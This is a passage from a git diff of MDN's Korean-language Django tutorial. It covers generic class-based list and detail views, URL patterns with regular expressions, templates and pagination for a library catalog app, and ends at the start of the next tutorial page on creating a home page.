이게 전부입니다! Generic view는 명시된 모델(Book)의 모든 레코드를 가져오기 위해 데이터베이스를 쿼리할 것이고, /locallibrary/catalog/templates/catalog/book_list.html(아래에서 만들 예정)경로에 있는 템플릿을 렌더링합니다. 템플릿 안에서 우리는 object_list나 book_list라는 템플릿 변수를 사용해 도서 목록에 접근할 수 있습니다. (일반적으로 "the_model_name_list").

+ +
+

Note: 이 어색한 템플릿 경로는 오타가 아닙니다. Generic views는 /application_name/the_model_name_list.html(지금 상황에서는 catalog/book_list.html)에서 템플릿을 찾습니다. 이 경로는 애플리캐이션의 /application_name/templates/ 디렉토리 안에 있습니다(/catalog/templates/).

+
+ +

속성이나 디폴트 동작을 추가할 수도 있습니다. 예를 들어, 같은 모델을 사용하지만 여러 개의 뷰를 사용해야 되는 경우 다른 템플릿 파일을 명시할 수 있습니다. 혹은 book_list 템플릿 변수명이 직관적이지 않다고 생각해 다른 템플릿 변수명을 사용하고 싶을지도 모릅니다. 아마 가장 유용한 바리에이션은 리턴 값의 결과를 바꾸거나 필터링하는 것입니다. 따라서 모든 책을 나열하는 대신, 유저가 읽은 순으로 5개의 책을 나열할 수도 있습니다.

+ +
class BookListView(generic.ListView):
+    model = Book
+    context_object_name = 'my_book_list'   # your own name for the list as a template variable
+    queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+    template_name = 'books/my_arbitrary_template_name_list.html'  # Specify your own template name/location
+ +

클래스 기반 뷰의 메소드 오버라이딩

+ +

굳이 여기서 할 필요는 없지만, 클래스 메소드 오버라이딩을 할 수도 있습니다.

+ +

예를 들어, 우리는  get_queryset()메소드를 오버라이딩해 반환되는 레코드의 리스트들을 바꿀 수 있습니다. 이건 우리가 이전에 했던 queryset 속성을 지정하는 방법보다 더 유연한 방법입니다. (비록 지금 상황에서 별 이득이 되지는 않지만요.)

+ +
class BookListView(generic.ListView):
+    model = Book
+
+    def get_queryset(self):
+        return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+
+ +

우리는 템플릿에 추가적인 컨텍스트 변수들을 전달하기 위해 get_context_data()를 오버라이딩할 수도 있습니다. (도서 목록이 디폴트로 전달됩니다.) 아래의 코드는 some_data 라는 이름의 변수를 어떻게 컨텍스트에 추가하는지를 보여줍니다. (이렇게 하면 템플릿 변수로 사용할 수 있습니다.)

+ +
class BookListView(generic.ListView):
+    model = Book
+
+    def get_context_data(self, **kwargs):
+        # Call the base implementation first to get the context
+        context = super(BookListView, self).get_context_data(**kwargs)
+        # Create any data and add it to the context
+        context['some_data'] = 'This is just some data'
+        return context
+ +

이렇게 할 때에는, 아래의 패턴을 따르는 것이 중요합니다:

+ + + +
+

Note: Built-in class-based generic views (Django docs)를 방문해 다양한 예제를 살펴볼 수 있습니다.

+
+ +

리스트 뷰 템플릿 생성하기

+ +

/locallibrary/catalog/templates/catalog/book_list.html 경로에 HTML 파일을 만든 다음, 아래의 코드를 복사, 붙여넣기 하세요. 이전에 설명한 것처럼, 이건 제네릭 클래스 기반 리스트 뷰에서 예상되는 기본 템플릿 파일입니다. (catalog 애플리케이션 내의 Book 모델)

+ +

제네릭 뷰의 템플릿은 다른 템플릿과 비슷합니다 (물론 템플릿에 전달되는 컨텍스트나 정보는 다를지도 모르지만요). 다른 index 템플릿처럼, 우리는 첫번째 줄에 base 템플릿을 넣어 확장한 다음, content라는 이름의 블록으로 교체합니다.

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <h1>Book List</h1>
+  {% if book_list %}
+  <ul>
+    {% for book in book_list %}
+      <li>
+        <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}})
+      </li>
+    {% endfor %}
+  </ul>
+  {% else %}
+    <p>There are no books in the library.</p>
+  {% endif %} 
+{% endblock %}
+ +

뷰는 object_listbook_list라는 디폴트 aliases로 컨텍스트(도서 목록)를 전달합니다. object_list나 book_list 둘 중 어느 것을 적어도 상관이 없습니다.

+ +

조건부 실행

+ +

if, else 그리고 endif 라는 템플릿 태그들은 book_list 이 정의되었는지, 그리고 존재하는지 체크합니다. 만약 book_list가 없다면, 책이 존재하지 않는다는 else 절의 텍스트 문구가 표시될 것입니다. 만약 book_list가 존재한다면, 도서 목록의 갯수만큼 반복만큼 반복해서 실행합니다.

+ +
{% if book_list %}
+  <!-- code here to list the books -->
+{% else %}
+  <p>There are no books in the library.</p>
+{% endif %}
+
+ +

위의 조건문은 단 하나의 상황만 체크합니다. 하지만 elif라는 템플릿 태그를 사용해 추가적인 조건을 걸어 테스트할 수 있습니다. (예를 들면 {% elif var2 %}) 조건부 연산자에 대한 자세한 내용은 다음 링크에서 확인할 수 있습니다: if, ifequal/ifnotequal, and ifchanged in Built-in template tags and filters (Django Docs).

+ +

반복 구문

+ +

for 와 endfor 라는 템플릿 태그들은 아래와 같이 도서 목록을 살펴보는 루프를 위해 사용합니다. 각각의 반복은 book 템플릿 변수에 현재 리스트 아이템에 대한 정보를 채웁니다.

+ +
{% for book in book_list %}
+  <li> <!-- code here get information from each book item --> </li>
+{% endfor %}
+
+ +

여기에서는 사용되지 않지만, 반복 구문 내에서 Django는 반복을 추적할 수 있는 다른 변수들을 만들 수 있습니다. 예를 들어, forloop.last라는 변수로 루프의 마지막 실행에 대한 조건부 처리을 할 수 있습니다.

+ +

변수 접근하기

+ +

반복 구문 내에서의 코드는 각각의 책에 대한 리스트 아이템을 생성합니다. 이 리스트 아이템은 타이틀(아직 작성되지 않은 상세 뷰의 링크)과 작가의 이름을 나타냅니다.

+ +
<a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}})
+
+ +

우리는 점 표기법(dot notation)을 사용해서 연관된 책의 레코드(예를 들어 book.title 과 book.author)에 대한 필드에 접근이 가능합니다. book 다음의 텍스트는 모델에 정의되어있는 필드의 이름입니다.

+ +

우리는 템플릿 안에 모델에서 정의한 함수를 불러올 수도 있습니다. 이 경우, 우리는 Book.get_absolute_url() 함수를 호출해 연관된 세부 레코드를 표시하는 URL을 가져옵니다. 이 작업은 함수가 아무 인자를 가지지 않을 때 제공됩니다 (여기에는 인자를 넘길 방법이 없습니다!).

+ +
+

Note: 우리는 템플릿 내에서 함수를 호출할 때 발생하는 부작용을 조금 조심해야 합니다. 여기서 우리는 그저 표시하기 위해  URL을 얻었지만, 함수는 그보다 더한 작업도 할 수 있습니다 — (예를 들면) 우리는 그냥 템플릿을 렌더링한다고 해서 우리의 데이터베이스를 삭제하고 싶지 않을 것입니다.

+
+ +

베이스 템플릿 업데이트

+ +

베이스 템플릿(/locallibrary/catalog/templates/base_generic.html)을 열고 All books의 URL 링크 부분에 {% url 'books' %} 코드를 삽입하세요. 이건 모든 페이지 링크에 적용될 것입니다 (우리는 "books" url mapper를 만들었으니 이렇게 넣을 수 있습니다.)

+ +
<li><a href="{% url 'index' %}">Home</a></li>
+<li><a href="{% url 'books' %}">All books</a></li>
+<li><a href="">All authors</a></li>
+ +

어떻게 보일까요?

+ +

우리는 아직 도서 목록을 표시할 수 없습니다. 왜냐면 디펜던시(dependency)가 없기 떄문이죠. 책의 상세 페이지에 대한 URL이 필요한데, 이 URL은 각 도서에 대한 하이퍼 링크입니다. 다음 섹션 이후에는 목록보기와 상세보기가 모두 표시될 것입니다.

+ +

Book 상세 페이지

+ +

URL catalog/book/<id><id> 는 book의 primary key입니다)에 접근해서, Book의 상세 페이지는 특정 책의 정보를 보여줄 것입니다. Book 모델 (author, summary, ISBN, language, 그리고 genre) 같은 필드에 추가로, 우리는 가능한 복사본(BookInstances) 의 상세부분, 즉 상태와 기대하는 반납일, 기록 그리고 아이디 등을 리스트화 할 것입니다. 이렇게 하면 독자들이 책의 리스트를 확인할 뿐만 아니라, 언제 책을 대여할 수 있는지에 대한 여부를 확인할 수 있게 해줍니다.

+ +

URL 매핑

+ +

/catalog/urls.py 파일을 열고 아래 두꺼운 글씨로 된 book-detail URL mapper를 추가하세요. path() 함수는 연관된 제네릭 클래스 기반의 상세 뷰와 이름에 대한 패턴을 정의합니다.

+ +
urlpatterns = [
+    path('', views.index, name='index'),
+    path('books/', views.BookListView.as_view(), name='books'),
+    path('book/<uuid:pk>', views.BookDetailView.as_view(), name='book-detail'),
+]
+ +

book-detail URL 패턴은 우리가 원하는 책의 id를 캡처하기 위해 특별한 구문을 사용합니다. 구문은 간단합니다: 꺾쇠 괄호는 캡처하는 URL의 일부를 정의하고 뷰가 캡처 된 데이터에 액세스하는 데 사용할 수있는 변수의 이름을 지정합니다. 예를 들어, <something>은 패턴을 캡처해서 "something"이라는 변수에 데이터를 담아 전달합니다. 우리는 선택적으로 변수 이름 앞에 데이터 형식 (int, str, slug, uuid, path)을 정의하는 converter specification을 사용할 수 있습니다.

+ +

여기에서 우리는 book id을 캡쳐하기 위해 '<uuid:pk>'  라는 특별히 포맷화된 문자열을 활용할 것입니다. 그리고 pk (primary key의 단축어)라는 이름의 파라미터로서 뷰로 넘겨줄 것입니다. This is the id that is being used to store the book uniquely in the database, as defined in the Book Model.

+ +

(번역 봉사자 주: uuid를 읽지 못한다면[NoReverseMatch] <int:pk>로 해보십시오.)

+ +
+

Note: 앞에서 언급했듯이,  관련된 URL 은 실제로는 catalog/book/<digits> 입니다.(우리가 catalog application 에 있기때문에, /catalog/ 를 가정합니다).

+
+ +
+

명심: 통상 class-based detail view 는 pk 라는 이름을 가진 파라미터로 전달됩니다. 만일 자체적으로 function view 를 만든다면 어떤 이름이라도 사용 가능합니다. 혹은 이름이 없는 argument 에 정보를 넣어 전달 할 수도 있습니다.

+
+ +

Regular expression 을 이용한 고급 path matching

+ +
+

Note: 튜터리얼과는 관련 없습니다. 하지만 향후 Django 스타일로 개발하기 위해선 매우 유용한 팁입니다.

+
+ +

path() 를 이용한 패턴 검색은 간단하고 일반적인 경우 - 예를 들어 단지 특정 문자열이나 숫자가 있는지 - 매우 유용합니다. 만일 좀더 세밀한 조건 - 예를 들어 특정 문자열 길이를 갖는 문자열 검색 - 으로 검색 하고자 한다면 . re_path() 를 사용하길 권고 드립니다.

+ +

re_path() 는 Regular expression 을 사용한다는 점만 빼고 path() 와 똑 같습니다. 예를 들어 앞서 서술한 path 는 다음과 같이 re_path 로 대체 사용 가능합니다.

+ +
re_path(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'),
+
+ +

Regular expressions 은 정말로 파워풀한 매핑 툴 입니다. 하지만 솔직히 직관적이지 못하고 초보자에게는 두려운 존재입니다. 아래는 간단한 지침서 입니다!

+ +

첫번째로 regular expressions 은 the raw string literal syntax 로 선언되어야 합니다 (즉, 다음처럼 '< >' 로 닫혀 있어야 한다는 겁니다: r'<your regular expression text goes here>').

+ +

패턴 매칭을 정의하기 위해 알아야 될 문법의 핵심적인 부분들입니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SymbolMeaning
^기술된 text 로 그 문자열이 시작되는지
$기술된 text 로 그 문자열이 끝나는지
\d숫자(0, 1, 2, ... 9) 인지
\wword character 인지. 즉, 대소문자, 숫자, underscore character (_) 로만 구성된 단어인지.
+하나 이상의 선행 문자가 있는지. 예를 들어, 하나 이상의 숫자와 매치한다면 \d+.를 하나 이상의 'a' 문자와 매치 한다면  a+
*매치되는 문자열이 없거나 많은 경우, 예를 들어 매칭이 안되거나 한 단어를 찾고자 할 경우  \w*
( )괄호안에 있는 패턴의 일부를 선택할때. 선택된 값은 unnamed parameter 로 view 에게 전달된다. (만일 여러 패턴들이 선택 되었다면 선택된 순서대로 연관된 파라미터로써 전달 될것입니다.
(?P<name>...)(...에 표기된) 패턴을 명명한 variable로 변환합니다(이 경우에는 "name" 입니다). 변환한 이름을 view 에 지정한 이름으로 넘깁니다. 그러므로 당신의 view 에서는 반드시 argument명을 동일하게 해주어야 합니다!
[  ]집합 set 안에 있는 글자중 한개와 매치 될때. 예를 들어 [abc] 는 'a',혹은 'b' 혹은 'c' 와 매치되는지.  [-\w] 는 '-' 한 글자 인지 혹은 '-'를 포함한 단어와 매치 하는지를 나타냅니다.
+ +

대부분의 다른 글자들은 문자 그대로 받아 들여 집니다!

+ +

몇 가지 실제 패턴 예제를 보도록 합시다: 

+ + + + + + + + + + + + + + + + + + + + + + +
PatternDescription
r'^book/(?P<pk>\d+)$' +

이것은 우리가 URL mapper에서 사용한 Regular Expression입니다. 이 표현식은 먼저 문자열이 book/ 으로 시작하는지 검사하고 (^book/), 그 다음에 한 개이상의 숫자가 오는지 (\d+), 그리고 문자열이 끝나기 전에 숫자가 아닌 문자가 들어 있지는 않는 지 검사합니다.

+ +

또한 이 표현식은 모든 숫자들을 변환하고 (?P<pk>\d+) 변환된 값을 view 에 'pk'라는 이름의 parameter로 넘깁니다. 변환된 값은 항상 String type으로 넘어갑니다!

+ +

예를 들어, 이 표현식은 book/1234 을 매칭합니다. 그리고 변수 pk='1234'  를 view에 넘깁니다.

+
r'^book/(\d+)$'이 표현식은 위의 표현식과 동일한 URL들을 매칭합니다. 변환된 정보는 명명되지 않은 argument로 view에 전달됩니다.
r'^book/(?P<stub>[-\w]+)$' +

이 표현식은 문자열 처음 부분에 book/ 으로 시작하는지 검사하고 (^book/), 그리고 한 개 또는 그 이상의 '-' 나 word character가 오고 ([-\w]+), 그렇게 끝내는지를 매칭합니다. 이 표현식 또한 매칭된 부분을 변환하고 view 에 'stub' 라는 이름의 parameter로 전달합니다.

+ +

This is a fairly typical pattern for a "stub". Stubs are URL-friendly word-based primary keys for data. You might use a stub if you wanted your book URL to be more informative. For example /catalog/book/the-secret-garden rather than /catalog/book/33.

+
+ +

당신은 다양한 패턴들을 한번의 매칭을 통해 변환시킬 수 있습니다. 그러므로 다양한 정보들을 URL안에 인코딩할 수 있습니다.

+ +
+

Note: 추가적으로, 특정 날짜에 출간된 책 목록을 URL에 인코딩할 수 있을지 생각해보세요. 그리고 어떤 Regular Expression이 해당 URL을 매칭할 수 있을까요?

+
+ +

Passing additional options in your URL maps

+ +

우리가 여태까지 사용하지는 않았지만, 쓸모있을만한 한 기능은 당신이 additional options 을 정의내리고 view에 전달할 수 있다는 것입니다. 이 option들은 dictionary 형태로 정의하고 path() 함수의 3번째 명명되지 않은 argument로 전달됩니다. 이 방식은 만약, 당신이 동일한 view 를 다른 곳에서 재활용하려고 하거나, 각 상황에 맞게 조절하려고 할 때 유용합니다. (이 경우, 우리는 각 경우에 따라 다른 template 을 제공합니다).

+ +
path('url/', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'),
+path('anotherurl/', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'),
+
+ +
+

Note: 추가된 options 과 변환된 패턴들 중 명명된 것들은 view 에 명명된 arguments로 전달됩니다. 만약 당신이 동일한 이름을 변환된 패턴들과 추가적인 option에 사용한다면, 오직 변환된 패턴들만이 view에 보내지게 됩니다. ( 추가된 option들에 있는 값들은 모두 버려집니다). 

+
+ +

뷰 (클래스 기반)

+ +

catalog/views.py 을 열고, 다음 코드를 파일 끝에 넣으세요:

+ +
class BookDetailView(generic.DetailView):
+    model = Book
+ +

다됬습니다! 이제 해야될 일은 /locallibrary/catalog/templates/catalog/book_detail.html template를 만들면, view는 template에 URL mapper에 의해 찾고자 하는 데이터베이스에 있는 특정 Book  레코드의 정보를 전달할 겁니다. template 안에서 template 변수  object 또는 book(즉, 일반적으로는 "해당_모델_명") 으로 책 목록에 접근할 수 있습니다.

+ +

만약 필요하다면, 사용하고 있는 template 또는 template 안에서 book을 참조하는 데 사용되는 context object의 이름을 바꿀 수 있습니다. 또한, 예를 들어 context에 정보를 추가하는 식으로, 메서드를 오버라이드 할 수도 있습니다.

+ +

만약 해당 레코드가 존재하지 않는다면 무슨 일이 일어날까요?

+ +

만약 요청된 레코드가존재하지 않는다면, 제네릭 클래스 기반의 detail view는 Http404 exception 이 저절로 발생할 것입니다. — 만들어질 때, 적절한 "resource not found" 페이지를 알아서 보여줄 것입니다. 만약 원한다면 당신이 해당 페이지를 수정할 수 있겠죠.

+ +

이런 일이 어떻게 발생하는지 원리를 조금 알려줄게요. 밑에 있는 코드는 만약 당신이 제네릭 클래스 기반의 detail view를 사용하지 않는다면, 클래스 기반의 view를 어떻게 함수 형태로 표현 할 수 있는지 보여줍니다.

+ +
def book_detail_view(request, primary_key):
+    try:
+        book = Book.objects.get(pk=primary_key)
+    except Book.DoesNotExist:
+        raise Http404('Book does not exist')
+
+    return render(request, 'catalog/book_detail.html', context={'book': book})
+
+ +

view는 먼저 model로 부터 특정 book 의 레코드를 얻으려고 할 것입니다. 이 시도가 실패하면, view 는 "해당 책이 존재하지 않음"을 알려주면서 Http404 exception가 발생할 것입니다. 그리고 마지막 과정은 ,평소처럼, book 정보를 context parameter (dictionary 형태로)에 집어 넣고 template 이름과 함께 render() 함수를 호출 할 것입니다.

+ +

혹, 만약 해당 레코드를 찾지 못한다면, 우리는 손쉬운 방법으로 Http404 exception을 발생하기 위해get_object_or_404() 함수를 사용할 수도 있어요.

+ +
from django.shortcuts import get_object_or_404
+
+def book_detail_view(request, primary_key):
+    book = get_object_or_404(Book, pk=primary_key)
+    return render(request, 'catalog/book_detail.html', context={'book': book})
+ +

상세 뷰 템플릿 생성하기

+ +

/locallibrary/catalog/templates/catalog/book_detail.html 파일을 만들고, 아래 텍스트를 복사 붙여넣기 하세요. 위에서 설명한대로, 이 파알명은 제네릭 클래스 기반 상세 뷰의 디폴트 파일명입니다. (catalog 애플리케이션의 Book 모델을 위한 상세 뷰)

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <h1>Title: \{{ book.title }}</h1>
+
+  <p><strong>Author:</strong> <a href="">\{{ book.author }}</a></p> <!-- author detail link not yet defined -->
+  <p><strong>Summary:</strong> \{{ book.summary }}</p>
+  <p><strong>ISBN:</strong> \{{ book.isbn }}</p>
+  <p><strong>Language:</strong> \{{ book.language }}</p>
+  <p><strong>Genre:</strong> {% for genre in book.genre.all %} \{{ genre }}{% if not forloop.last %}, {% endif %}{% endfor %}</p>
+
+  <div style="margin-left:20px;margin-top:20px">
+    <h4>Copies</h4>
+
+    {% for copy in book.bookinstance_set.all %}
+      <hr>
+      <p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}">\{{ copy.get_status_display }}</p>
+      {% if copy.status != 'a' %}
+        <p><strong>Due to be returned:</strong> \{{copy.due_back}}</p>
+      {% endif %}
+      <p><strong>Imprint:</strong> \{{copy.imprint}}</p>
+      <p class="text-muted"><strong>Id:</strong> \{{copy.id}}</p>
+    {% endfor %}
+  </div>
+{% endblock %}
+ + + +
+

이 템플릿의 작가 링크는 비어있는 URL입니다. 왜냐면 우리는 아직 작가 상세 페이지를 만들지 않았기 때문이죠. 만약 페이지가 존재한다면, URL을 아래와 같이 업데이트 해야합니다.

+ +
<a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a>
+
+
+ +

조금 더  커졌지만, 이 템플릿의 대부분의 것들은 이미 언급된 것들입니다:

+ + + +

우리가 본 적 없는 한가지 흥미로운 점은 바로 book.bookinstance_set.all() 함수입니다. 이 메소드는 Django에 의해 자동으로 만들어진 메소드입니다. 이 메소드는 Book 과 관련된 BookInstance 레코드 집합을 반환합니다. 

+ +
{% for copy in book.bookinstance_set.all %}
+  <!-- code to iterate across each copy/instance of a book -->
+{% endfor %}
+ +

이 메소드는 관계의 한쪽("one")에만 ForeignKey(one-to many) 필드를 선언했기 때문에 필요합니다. 다른("many") 모델에서 아무것도 선언하지 않았기 때문에 관련 레코드 집합을 가져올 필드가 없습니다. 이 문제를 해결하기 위해, Django는 지금 우리가 사용하고 있는 "reverse lookup"이라는 적당한 이름의 함수를 만들었습니다. 이 함수의 이름은 ForeignKey가 선언되어있는 모델 이름을 소문자로 만들고, 그 뒤에 _set을 붙이면 됩니다. (따라서 Book에서 만든 함수는 bookinstance_set()가 되겠죠.)

+ +
+

Note: 여기서 우리는 모든 레코드를 가져오기 위해 all() 을 사용했습니다(기본값이죠). 반대로 당신은 filter() 메서드를 사용해서 레코드의 부분 집합을 가져올 수 있지만, 당신은 template에서 이걸 직접할 수는 없어요. 왜냐하면 함수의 arguments를 정할 수 없으니까요.

+ +

만약 순서를 정의하지 않는다면 (클래스 기반 view 또는 model에서), 당신은 개발 서버로 부터 다음과 같은 에러를 받게 될 거라는 것 또한 알아두세요.

+ +
[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637
+/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]>
+  allow_empty_first_page=allow_empty_first_page, **kwargs)
+
+ +

이것은 paginator object 가 데이터베이스에서 ORDER BY 명령어가 실행되었을 것이라고 예상하기 때문에 발생하는 것입니다. 이러한 것이 없다면, 레코드들이 정확한 순서로 반환되었는지 알 수가 없어요!

+ +

이 튜토리얼은 아직 Pagination 에 도달하지는 않았습니다.(곧 하게될 거에요) sort_by() 에 parameter를 전달하여 사용하는 것은 (위에서 이야기했던 filter() 와 동일한 역할을 합니다.) 사용할 수 없기 때문에, 당신은 3개의 선택권중에 하나를 골라야합니다:

+ +
    +
  1. Add a ordering inside a class Meta declaration on your model.
  2. +
  3. Add a queryset attribute in your custom class-based view, specifying a order_by().
  4. +
  5. Adding a get_queryset method to your custom class-based view and also specify the order_by().
  6. +
+ +

만약  Author model에 class Meta 사용하기를 결정했다면 (커스터마이징 된 클래스 기반 view만큼 유연하진 않겠지만, 쉬운 방법입니다), 아마 밑에 코드와 비슷하게 끝날 거에요:

+ +
class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return f'{self.last_name}, {self.first_name}'
+
+    class Meta:
+        ordering = ['last_name']
+ +

물론, 해당 field는 last_name 이어야 할 필요는 없습니다: 다른 어떤 것도 될 수 있어요.

+ +

마지막으로, 그러나 적어도 우리는 정렬(sort)을 attribute/column에 따라 해줘야 합니다. unique 여부와 상관없이 당신의 database의 퍼포먼스 이슈를 위해서 필요합니다. 물론, 이것은 여기서 필요한 것이 아니며 어떻게 보면 약간 진도를 앞서나가는 것 같지만 이런 작은 사용자와 프로젝트에서도 미래의 프로젝트를 위해서 미리 명심해 두는 것이 좋습니다.

+
+ +

어떻게 보일까요?

+ +

이 시점에서 책 목록 페이지와 책 세부 사항 페이지를 보기 위한 모든 것을 만들어 놓았어야 합니다. 명령어 (python3 manage.py runserver) 를 입력하여 서버를 실행하고 브라우저를 열어 http://127.0.0.1:8000/ 에 접속해보세요.

+ +
+

주의!: 아직 작가 목록 페이지나 작가 세부 사항 페이지를 클릭하시면 안됩니다. — 당신은 challenge에서 이것들을 만들어보게 될 거에요!

+
+ +

책 목록을 보기 위해 All books 링크를 클릭하세요. 

+ +

Book List Page

+ +

그리고 당신의 책들 중 하나를 클릭해보세요. 만약, 현재까지의 과정을 성공적으로 따라왔다면, 당신은 다음과 같은 스크린샷을 볼 수 있을 겁니다.

+ +

Book Detail Page

+ +

Pagination

+ +

만약 레코드가 몇 개 없다면, 현재의 책 목록 페이지도 괜찮습니다. 하지만 수십,수백개의 레코드를 갖고 있다면, 페이지는 가져오는 데 점차 시간이 늘어날 겁니다(양이 너무 많아 탐색하는게 체감적으로 힘들어질 정도로요). 해결 방법은 당신의 list view에 pagination을 추가하는 것입니다, 그리고 pagination은 각 페이지마다 보여주는 항목들을 감소시켜줄 것입니다.

+ +

장고는 pagination에 대한 훌륭한 지원을 하고 있습니다. 더욱 좋은 점은,이 지원은 제네릭 클래스 기반 list view에 내장되어 있어서, 당신이 pagination을 하기 위해 해야될 것이 많지 않다는 것입니다!

+ +

Views

+ +

catalog/views.py열고, 밑에 굵은 글씨로 작성되어있는 paginate_by 줄을 추가해주세요.

+ +
class BookListView(generic.ListView):
+    model = Book
+    paginate_by = 10
+ +

이 것이 추가됨에 따라, 당신이 10개 이상의 레코드를 갖게 되면 view는 template에 보내는 데이터에 pagination 하는 것을 시작할 것입니다. 다른 page들을 GET parameter들을 통해 접근할 수 있습니다— 2 페이지에 접속하려면, 다음과 같은 URL을 사용하세요: /catalog/books/?page=2.

+ +

Templates

+ +

자료들이 pagination되었습니다, 우리는 template에 결과들을 훑어볼 수 있도록 만들어야합니다.  우리는 이러한 기능이 모든 list view들에 필요할 수 있으므로, 우리는 base template에 추가하는 방향으로 작업을 진행하려고 합니다. 

+ +

/locallibrary/catalog/templates/base_generic.html 열고 content block 밑에 다음과 같은 pagination block을 복사하여 추가하세요 (아래에 굵은 글씨로 강조표시를 해놓았습니다). 첫번째로 코드는 현재 페이지가 pagination이 가능한지 체크합니다. 만약 가능하다면,  다음 페이지와 전 페이지를 적절히 추가합니다 (현재 페이지 넘버도요). 

+ +
{% block content %}{% endblock %}
+
+{% block pagination %}
+  {% if is_paginated %}
+    <div class="pagination">
+      <span class="page-links">
+        {% if page_obj.has_previous %}
+          <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a>
+        {% endif %}
+        <span class="page-current">
+          <p>Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}.</p>
+        </span>
+        {% if page_obj.has_next %}
+          <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a>
+        {% endif %}
+      </span>
+    </div>
+  {% endif %}
+{% endblock %} 
+ +

만약 현재 페이지에 pagination이 사용중이라면, page_obj 가 Paginator 오브젝트 로서 존재합니다. 해당 오브젝트는 현재 페이지, 전 페이지, 페이지 수는 얼마나 되는 지등의 모든 정보를 제공합니다.

+ +

pagination 링크를 만들기 위해 우리는 \{{ request.path }} 를 이용하여 현재 페이지의 URL을 가져오도록 할 겁니다. 우리가 pagination을 하는 객체와 독립적이기 때문에 유용합니다.

+ +

다됬네요!

+ +

어떻게 보일 까요?

+ +

밑에 있는 스크린샷은 pagination이 어떻게 보이는지를 알려줍니다 — 만약 에디터베이스에 10개가 넘는 제목을 추가하지 않았다면, catalog/views.py 파일에 있는  paginate_by  줄에 있는 숫자를 낮춤으로써 쉽게 테스트할 수 있습니다. 밑에 있는 결과는 우리가 paginate_by = 2로 바꾼 겨로가입니다.

+ +

next/previous 링크와 함께 보이는 밑에 pagination 링크는 당신이 어느 페이지에 있느냐에 따라 달리 표시가 됩니다. 

+ +

Book List Page - paginated

+ +

도전과제

+ +

이번 글의 과제는 프로젝트를 완수하기 위해 필요한 작가 세부 사항과 목록 view들을 만드는 것입니다. 이 과제를 통해  해당 URL들을 사용가능하게 만들어야 해요:

+ + + +

URL mappers에 필요한 코드들과 view들은 ,사실상, 우리가 위에서 만들었던 Book 목록과 세부 사항 view들과 동일해야 합니다. template들은 다르겠지만, 비슷한 동작을 가지고 있을 겁니다.

+ +
+

Note:

+ + +
+ +

모두 마치면, 당신의 페이즈들은 아마 밑의 스크린샷과 비슷하게 보일 겁니다.

+ +

Author List Page

+ + + +

Author Detail Page

+ + + +

요약

+ +

축하합니다, 도서관의 가장 기본적인 기능들은 모두 끝났어요! 

+ +

이번 글에서, 우리는 제네릭 클래스 기반의 list view와 detailv view에 대해서 배웠고, 이를 이용하여 책들과 작가들을 보여주기 위한 페이지를 만들었습니다. 이 과정중에 우리는 정규표현식을 이용하여 패턴 매칭을 하는 것도 배웠고, URL로 부터 데이터를 view에 보내는 것도 배웠습니다. 또한, template을 이용하는 몇 가지 트릭도 배웠죠. 마지막에는 list views에 어떻게 paginate를 할 수 있는지도 보았습니다. 이로 인해 우리는 레코드들이 많아져도 리스트를 관리할 수 있게 되었습니다.

+ +

다음 글에서 우리는 유저 계정을 지원하도록 도서관을 확장하고, 이를 통해 유저 인증, 권한, 세션, forms을 볼 것입니다.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/ko/learn/server-side/django/home_page/index.html b/files/ko/learn/server-side/django/home_page/index.html new file mode 100644 index 0000000000..25c67b7949 --- /dev/null +++ b/files/ko/learn/server-side/django/home_page/index.html @@ -0,0 +1,414 @@ +--- +title: 'Django Tutorial Part 5: Creating our home page' +slug: Learn/Server-side/Django/Home_page +translation_of: Learn/Server-side/Django/Home_page +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}
+ +

우리는 이제 첫 전체 페이지를 보여주는 코드를 추가할 때가 되었습니다 — LocalLibrary website를 위한 홈페이지를요. 이 홈페이지는 각각의 모델 타입마다 갖고 있는 레코드들의 숫자를 보여주고, 우리의 다른 페이지들로 이동할 수 있는 사이드바 내비게이션 링크들을 제공합니다. 이 섹션에서 우리는 기본 URL 맵과 뷰들을 작성하고, 데이터베이스에서 레코드들을 가져오고 그리고 탬플릿을 사용하는 것에 대한 연습 경험을 가질 수 있습니다.

+ + + + + + + + + + + + +
사전 준비:Django Introduction을 읽어보세요. 이전 튜토리얼들을 완료하세요 (Django Tutorial Part 4: Django admin site 포함).
목표:간단한 url 맵과 뷰를 생성하고(URL 안에 아무런 데이터도 인코드되지 않은), 모델로부터 데이터를 가져오고, 탬플릿을 생성하는 방법을 배우기.
+ +

개요

+ +

